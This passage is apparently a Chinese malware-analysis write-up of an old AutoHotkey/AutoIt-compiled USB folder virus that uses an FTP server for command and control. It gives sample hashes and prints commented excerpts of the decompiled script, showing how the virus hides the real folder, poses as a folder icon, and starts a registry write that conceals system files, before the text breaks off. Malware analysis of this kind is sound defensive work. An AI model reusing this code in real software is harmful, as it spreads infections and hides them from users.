概述
这是一个使用AutoHotkey语言编写的文件夹病毒,使用ftp服务器来当作C2,通过U盘传播,样本很古老,原理也很简单,这种语言的样本还是第一次见到,记录一下。
样本的基本信息
PE32
库: AutoIt(3.XX)[-]
编译器: EP:Microsoft Visual C/C++(2008-2010)[EXE32]
编译器: Microsoft Visual C/C++(2010)[libcmt]
链接程序: Microsoft Linker(10.0)[GUI32]
附加: Binary
数据: AutoIt compiled script(2.XX-3.XX)
文件大小: 664 KB (680,393 字节)
MD5: 8b5c2cbf7d89be0a6eb66ecc29d9f5fd
SHA1: c5c54d656520436e65f6feb58df1272422f6e9b4
SHA256: 67d184ecf4b2f01fdae6a3d8574a95e63ebf89ea1f1b01dd845b520a5e2cc9fc
Link date: 22:44 2011/1/18
这是一个典型的文件夹病毒,使用了win7的文件夹图标用作掩护(如下图所示),使用AutoHotKey语言编译而成。
使用autoit3 Decompiler工具将脚本还原出来。该工具下载地址为AutoIt3 Decompiler GUI v1.9 。AutoHotkey是一款开源的热键脚本语言,可以创建各种脚本和宏来自动化计算机任务。可用用SciTE4AutoHotkey
(下载地址GitHub - telppa/SciTE4AutoHotkey-Plus: 这是最适合中文与新人用户的AHK IDE 由于原版早已不更新了 故多年来在原版基础上做了非常多的改进 目的只有一个 让大家用得更顺手)编译器来查看这种代码(支持高亮和折叠)。
病毒分析
下面对脚本的内容进行分析。(只对关键的代码进行注释)
SetWorkingDir %A_ScriptDir% ;设置当前工作目录为脚本所在的目录。
des_path = %A_AppData%\Microsoft\Office ;设置两个变量,一个是Office的安装路径,一个是Office的版本。
version = 2000
If A_ScriptName not contains rundll32 ;如果当前脚本的名称不包含"rundll32",则执行下面的代码。这是从U盘运行的情形
{
If A_ScriptName contains ums ;如果当前脚本的名称包含"ums",则执行`copy`子程序并退出程序。
{
gosub copy
ExitApp
}
ComObjError(false) ;关闭COM错误提示
StringTrimRight, Target, A_ScriptName, 4 ;从脚本名称的右边剪切4个字符,并将结果保存到Target变量中,即去掉文件后缀名
Target = %A_ScriptDir%\%Target% ;将Target变量设置为脚本目录加Target。
IfNotExist, %Target% ;如果Target指定的目录不存在,则创建该目录。
FileCreateDir, %Target%
#IfWinActive, ahk_group MS_Explorer
ShellNavigate(Target, WinExist("ahk_group MS_Explorer")) ;打开与本程序同名的目录,即被隐藏的原目录
FileSetAttrib, +SH, %Target% ;将Target指定的目录设置为隐藏和系统属性。
gosub install ;执行`install`子程序。
ExitApp ;退出程序
}
;写入注册表操作,将"ShowSuperHidden"的值设置为0,隐藏受保护的操作系统文件
RegWrite, REG_DWORD, HKEY_CURRENT_USE